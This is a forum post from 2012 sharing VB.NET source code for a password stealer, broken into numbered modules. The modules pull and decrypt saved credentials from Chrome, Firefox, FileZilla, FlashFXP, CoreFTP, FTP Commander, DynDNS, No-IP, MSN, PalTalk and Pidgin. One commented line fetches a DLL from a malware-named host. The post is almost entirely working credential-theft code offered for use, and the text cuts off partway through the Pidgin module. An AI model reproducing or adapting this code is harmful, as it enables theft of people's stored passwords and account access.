sandabot Posted April 13, 2012 Report Share Posted April 13, 2012 (edited) 1.ChromeImports System.Runtime.InteropServicesImports System.IOImports System.TextImports stub.SQLiteWrapperPublic Class Chromer Public Shared cPass As String Public Shared Function GetChrome() 'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL") Try Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data" If File.Exists(datapath) Then Dim SQLconnect As New SqlClient.SqlConnection() Dim SQLcommand As SqlClient.SqlCommand SQLconnect.ConnectionString = "Data Source=" + datapath + ";" SQLconnect.Open() SQLcommand = SQLconnect.CreateCommand SQLcommand.CommandText = "SELECT * FROM logins" Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader() Dim host, user, pass As String While SQLreader.Read() host = SQLreader("origin_url") user = SQLreader("username_value") pass = Decrypt(SQLreader("password_value")) If (user <> "") And (pass <> "") Then Dim pss As New ListViewItem pss.Text = host cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _ & vbNewLine & " ") End If End While SQLcommand.Dispose() SQLconnect.Close() End If Catch e As Exception MsgBox(e.ToString) End Try End Function <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _ Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean End Function <Flags()> Enum CryptProtectPromptFlags CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1 CRYPTPROTECT_PROMPT_ON_PROTECT = &H2 End Enum <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT Public cbSize As Integer Public dwPromptFlags As CryptProtectPromptFlags Public hwndApp As IntPtr Public szPrompt As String End Structure <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB Public cbData As Integer Public pbData As IntPtr End Structure Shared Function Decrypt(ByVal Datas() As Byte) As String Dim inj, Ors As New DATA_BLOB Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned) inj.pbData = Ghandle.AddrOfPinnedObject() inj.cbData = Datas.Length Ghandle.Free() CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors) Dim Returned() As Byte = New Byte(Ors.cbData) {} Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData) Dim TheString As String = Encoding.Default.GetString(Returned) Return TheString.Substring(0, TheString.Length - 1) End FunctionEnd Class2.CoreFTPModule CoreFTP Function CoreFTP() As String Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx" Dim sFile As String = ReadFile(sPath) Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host") Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port") Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User") Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW") Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name") If Not sUser = "" Then Try CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============CoreFTP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============CoreFTP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End FunctionEnd Module3.DynDNSModule Dyndns Public Function GoogleDns() As String On Error Resume Next GoogleDns = Nothing Dim sAppData As String Dim sPath As String Dim sLine As String Dim sUser As String = Nothing Dim sPassword As String = Nothing Dim i As Integer Dim sChars As String = Nothing Dim lPtr As Integer sAppData = Environ("ALLUSERSPROFILE") If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\" sPath = sAppData & "DynDNS\Updater\config.dyndns" 'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"' If Dir(sPath) <> "" Then FileOpen(1, sPath, OpenMode.Binary) Do While Not EOF(1) sLine = vbNullString sLine = LineInput(1) If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10) If Left(sLine, 9) = "Password=" Then sPassword = Mid(sLine, 10) 'We have what we want, now exit do Exit Do End If Loop FileClose(1) For i = 1 To Len(sPassword) Step 2 sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2))) Next i For i = 1 To Len(sChars) Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1)))) lPtr = ((lPtr + 1) Mod 8) Next i Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============DYNDNS==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sChars) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) If sUser = "" Or sChars = "" Then Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============DYNDNS==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) End If End If End FunctionEnd Module4.FireFox 1Imports SystemImports System.IOImports System.Runtime.InteropServicesImports System.DataImports FireFox.SQLiteWrapperImports System.TextModule FFDecryptor Public Class SHITEMID Public Shared cb As Long Public Shared abID As Byte() End Class <StructLayout(LayoutKind.Sequential)> _ Public Structure TSECItem Public SECItemType As Integer Public SECItemData As Integer Public SECItemLen As Integer End Structure <DllImport("kernel32.dll")> _ Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr End Function Private NSS3 As IntPtr <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _ Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long Public Function NSS_Init(ByVal configdir As String) As Long Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\" LoadLibrary(MozillaPath & "mozcrt19.dll") LoadLibrary(MozillaPath & "nspr4.dll") LoadLibrary(MozillaPath & "plc4.dll") LoadLibrary(MozillaPath & "plds4.dll") LoadLibrary(MozillaPath & "ssutil3.dll") LoadLibrary(MozillaPath & "sqlite3.dll") LoadLibrary(MozillaPath & "nssutil3.dll") LoadLibrary(MozillaPath & "softokn3.dll") NSS3 = LoadLibrary(MozillaPath & "nss3.dll") Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init") Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate) Return dll(configdir) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate2() As Long Public Function PK11_GetInternalKeySlot() As Long Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot") Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2) Return dll() End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate") Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3) Return dll(slot, loadCerts, wincx) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer") Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4) Return dll(arenaOpt, outItemOpt, inStr, inLen) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt") Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5) Return dll(data, result, cx) End Function Public signon As StringEnd Module5.FireFox 2Imports SystemImports System.Collections.GenericImports System.TextImports System.Runtime.InteropServicesImports System.DataImports System.CollectionsNamespace SQLiteWrapper Public Class SQLiteBase <DllImport("kernel32")> _ Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr End Function <DllImport("kernel32")> _ Private Shared Function GetProcessHeap() As IntPtr End Function <DllImport("kernel32")> _ Private Shared Function lstrlen(ByVal str As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer End Function ' SQLite constants Private Const SQL_OK As Integer = 0 Private Const SQL_ROW As Integer = 100 Private Const SQL_DONE As Integer = 101 Public Enum SQLiteDataTypes INT = 1 FLOAT TEXT BLOB NULL End Enum Private database As IntPtr Public Sub New() database = IntPtr.Zero End Sub Public Sub New(ByVal baseName As [String]) OpenDatabase(baseName) End Sub Public Sub OpenDatabase(ByVal baseName As [String]) If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then database = IntPtr.Zero Throw New Exception("Error with opening database " & baseName & "!") End If End Sub Public Sub CloseDatabase() If database <> IntPtr.Zero Then sqlite3_close(database) End If End Sub Public Function GetTables() As ArrayList Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1" Dim table As DataTable = ExecuteQuery(query) Dim list As New ArrayList() For Each row As DataRow In table.Rows list.Add(row.ItemArray(0).ToString()) Next Return list End Function Public Sub ExecuteNonQuery(ByVal query As [String]) Dim [error] As IntPtr sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error]) If [error] <> IntPtr.Zero Then Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error]))) End If End Sub Public Function ExecuteQuery(ByVal query As [String]) As DataTable Dim statement As IntPtr Dim excessData As IntPtr sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData) Dim table As New DataTable() Dim result As Integer = ReadFirstRow(statement, table) While result = SQL_ROW result = ReadNextRow(statement, table) End While sqlite3_finalize(statement) Return table End Function Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer table = New DataTable("resultTable") Dim resultType As Integer = sqlite3_step(statement) If resultType = SQL_ROW Then Dim columnCount As Integer = sqlite3_column_count(statement) Dim columnName As [String] = "" Dim columnType As Integer = 0 Dim columnValues As Object() = New Object(columnCount - 1) {} For i As Integer = 0 To columnCount - 1 columnName = PointerToString(sqlite3_column_name(statement, i)) columnType = sqlite3_column_type(statement, i) Select Case columnType Case CInt(SQLiteDataTypes.INT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.Int32")) columnValues(i) = sqlite3_column_int(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.FLOAT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.Single")) columnValues(i) = sqlite3_column_double(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.TEXT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = PointerToString(sqlite3_column_text(statement, i)) Exit Select End If Case CInt(SQLiteDataTypes.BLOB) If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = PointerToString(sqlite3_column_blob(statement, i)) Exit Select End If Case Else If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = "" Exit Select End If End Select Next table.Rows.Add(columnValues) End If Return sqlite3_step(statement) End Function Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer Dim columnCount As Integer = sqlite3_column_count(statement) Dim columnType As Integer = 0 Dim columnValues As Object() = New Object(columnCount - 1) {} For i As Integer = 0 To columnCount - 1 columnType = sqlite3_column_type(statement, i) Select Case columnType Case CInt(SQLiteDataTypes.INT) If True Then columnValues(i) = sqlite3_column_int(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.FLOAT) If True Then columnValues(i) = sqlite3_column_double(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.TEXT) If True Then columnValues(i) = PointerToString(sqlite3_column_text(statement, i)) Exit Select End If Case CInt(SQLiteDataTypes.BLOB) If True Then columnValues(i) = PointerToString(sqlite3_column_blob(statement, i)) Exit Select End If Case Else If True Then columnValues(i) = "" Exit Select End If End Select Next table.Rows.Add(columnValues) Return sqlite3_step(statement) End Function Private Function StringToPointer(ByVal str As [String]) As IntPtr If str Is Nothing Then Return IntPtr.Zero Else Dim encoding__1 As Encoding = Encoding.UTF8 Dim bytes As [Byte]() = encoding__1.GetBytes(str) Dim length As UInteger = bytes.Length + 1 Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32)) Marshal.Copy(bytes, 0, pointer, bytes.Length) Marshal.WriteByte(pointer, bytes.Length, 0) Return pointer End If End Function Private Function PointerToString(ByVal ptr As IntPtr) As [String] If ptr = IntPtr.Zero Then Return Nothing End If Dim encoding__1 As Encoding = Encoding.UTF8 Dim length As Integer = GetPointerLenght(ptr) Dim bytes As [Byte]() = New [Byte](length - 1) {} Marshal.Copy(ptr, bytes, 0, length) Return encoding__1.GetString(bytes, 0, length) End Function Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer If ptr = IntPtr.Zero Then Return 0 End If Return lstrlen(ptr) End Function End ClassEnd Namespace6. FileZillaModule Filezilla Function ShoitZilla() As String On Error Resume Next Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml" Dim FileBuffer As String = vbNull Dim NL As String = vbNewLine FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd() Dim str As String Dim Output As String = Nothing Dim TempData() As String TempData = FileBuffer.Split(vbCrLf) FileBuffer = Nothing For Each str In TempData If str.Contains("</Host>") Then str.Replace("<Host>", "").Replace("</Host>", "") Output = Output & "Host : " & str & NL End If If str.Contains("</User>") Then str.Replace("<User>", "").Replace("</User>", "") Output = Output & "Username : " & str & NL End If If str.Contains("</Pass>") Then str.Replace("<Pass>", "").Replace("</Pass>", "") Output = Output & "Password : " & str & NL & NL End If Next Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine ShoitZilla = Output Form1.ztext.AppendText(Output) End FunctionEnd Module7.FlashFXPModule FlashFXP Function FlashFXP() As String Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat" Dim sFile As String = ReadFile(sPath) Dim sHost As String = Cut(sFile, "IP=", vbNewLine) Dim sPort As String = Cut(sFile, "port=", vbNewLine) Dim sUser As String = Cut(sFile, "user=", vbNewLine) Dim sPwd As String = Cut(sFile, "pass=", vbNewLine) Dim sEntry As String = Cut(sFile, "created=", vbNewLine) If Not sUser = "" Then Try FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============FlashFXP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============FlashFXP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End FunctionEnd Module8.FtpCommanderModule FTPCommander Function FtpCommander() As String Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt" Dim sFile As String = ReadLine(sPath, -1) Dim sHost As String = Cut(sFile, ";Server=", ";Port=") Dim sPort As String = Cut(sFile, ";Port=", ";Password=") Dim sUser As String = Cut(sFile, ";User=", ";*********=") Dim sPwd As String = Cut(sFile, ";Password=", ";User=") Dim sEntry As String = Cut(sFile, "Name=", ";Server=") If Not sUser = "" Then Try FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============FTP Commander==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception End Try Else End If End FunctionEnd Module9.IMVUModule Imvu Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values On Error GoTo Error_Renamed ' // If Error dont Display Error Dim X As Object ' // X = CreateObject("WScript.shell") ' // Create REG Object ReadKey = X.regread(hKey) ' // Read The Key Exit FunctionError_Renamed: ReadKey = vbNullString ' // If Error Readkey = "" End Function Public Function Hex2Ascii(ByVal Text As String) As String Dim Value As Object Dim num As Object Dim i As Object ' // Simple Function for Pass Hex to Ascii Value = Nothing For i = 1 To Len(Text) ' Len of Encripted Text num = Mid(Text, i, 2) ' // Go Chr by Chr Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex i = i + 1 ' // +1 Next i ' Next Chr Hex2Ascii = Value ' // End Function10. MSNImports System.Collections.GenericImports System.TextImports System.Runtime.InteropServicesImports System.IO Module MSN <DllImport("advapi32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _ Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInteger, ByVal count As UInteger, ByVal pCredentials As IntPtr) As Boolean End Function <DllImport("crypt32", CharSet:=CharSet.Auto, SetLastError:=True)> _ Friend Function CryptUnprotectData(ByRef dataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal optionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, _ ByVal pDataOut As DATA_BLOB) As Boolean End Function Friend Structure CREDENTIAL Public Flags As Integer Public Type As Integer <MarshalAs(UnmanagedType.LPWStr)> _ Public TargetName As String <MarshalAs(UnmanagedType.LPWStr)> _ Public Comment As String Public LastWritten As Long Public CredentialBlobSize As Integer Public CredentialBlob As Integer Public Persist As Integer Public AttributeCount As Integer Public Attributes As IntPtr <MarshalAs(UnmanagedType.LPWStr)> _ Public TargetAlias As String <MarshalAs(UnmanagedType.LPWStr)> _ Public UserName As String End Structure Private Cred As CREDENTIAL Friend Structure DATA_BLOB Public cbData As Integer Public pbData As Integer End Structure Friend Structure UserDetails Public uName As String Public uPass As String End Structure Public count As UInteger Public pCredentials As IntPtr = IntPtr.Zero Public dataIn As DATA_BLOB Public dataOut As DATA_BLOB Public uDetail As UserDetails Public Function getPwd() As String() Password() Dim pass As String() = {uDetail.uName, uDetail.uPass} Return pass End Function Public Sub Password() Try Dim ptr As IntPtr = Marshal.ReadIntPtr(pCredentials, 0 * 4) Cred = CType(Marshal.PtrToStructure(ptr, Cred.[GetType]()), CREDENTIAL) dataIn.pbData = Cred.CredentialBlob dataIn.cbData = Cred.CredentialBlobSize CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, _ dataOut) dataOut.pbData = dataIn.pbData uDetail.uName = Cred.UserName uDetail.uPass = (Marshal.PtrToStringUni(New IntPtr(dataOut.pbData))) Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============MSN==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & uDetail.uName) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & uDetail.uPass) Form1.ztext.AppendText(nl) Exit Sub Catch x As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============MSN==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("MSN Could not be recovered!") Form1.ztext.AppendText(nl) Exit Sub End Try End SubEnd Module11. NO-IPModule No_IP Public Function base64Decode(ByVal data As String) As String Try Dim encoder As New System.Text.UTF8Encoding() Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder() Dim todecode_byte As Byte() = Convert.FromBase64String(Data) Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length) Dim decoded_char As Char() = New Char(charCount - 1) {} utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0) Dim result As String = New [String](decoded_char) Return result Catch e As Exception End Try End Function Function IpRecord() As String Try IpRecord = Nothing Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing) Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing) Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============IMVU==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & Username) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & base64Decode(Password)) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============IMVU==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("IMVU Not Installed!") Form1.ztext.AppendText(nl) End Try End FunctionEnd Module12.PalTalkModule PalTalk Public Function GetHDSerial() As String Dim disk As New System.Management.ManagementObject( _ "Win32_LogicalDisk.DeviceID=""C:""") Dim diskPropertyA As System.Management.PropertyData = _ disk.Properties("VolumeSerialNumber") Return diskPropertyA.Value.ToString() End Function Public Function paltalkscene() As String Try Dim ser() As Char = GetHDSerial().ToCharArray Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser Dim out As String = "" reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk") Dim users As String() = reg.GetSubKeyNames() reg.Close() For Each s As String In users Dim t, o, i, x As Integer Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "") Dim chr1 As Char() = pass.ToCharArray Dim passarr(pass.Length / 4) As String While t <= UBound(chr1) - 4 If t < UBound(chr1) - 4 Then passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2) End If t += 4 o += 1 End While Dim key As String = "" For Each c As Char In s key += c If i <= UBound(ser) Then key += ser(i) End If i = i + 1 Next key = key & key & key Dim chr_arr As Char() = key.ToCharArray Dim blainpass As String = "" blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1))) For x = 1 To UBound(passarr) Dim tempchr As Char If passarr(x) Is Nothing Then Else tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122) blainpass += tempchr End If Next x Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============PalTalk==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & s) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & blainpass) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Next Return out Catch ex As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============PalTalk==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("PalTalk Not Installed!") Form1.ztext.AppendText(nl) Return "---" End Try End FunctionEnd Module13. PidginOption Explicit OnImports System.IOImports System.XmlModule Pidgin Public Function GetPidgin() As String Dim ReadXML As New XmlDocument Dim i As Integer Dim OutAll = Nothing GetPidgin = "" Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml" If File.Exists(FilePath) <> True Then Exit Function Else Try ReadXML.Load(FilePath) Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol") Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name") Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password") For i = 0 To Protocol.Count - 1 OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _ & "Username: " & Username(i).InnerText & vbCrLf _ & "Password: " & Password(i).InnerText & vbCrLf & vbNewLine Next Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============Pidgin==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & Username(i).InnerText) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & Password(i).InnerText) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Dim nl As String = vbNewLine 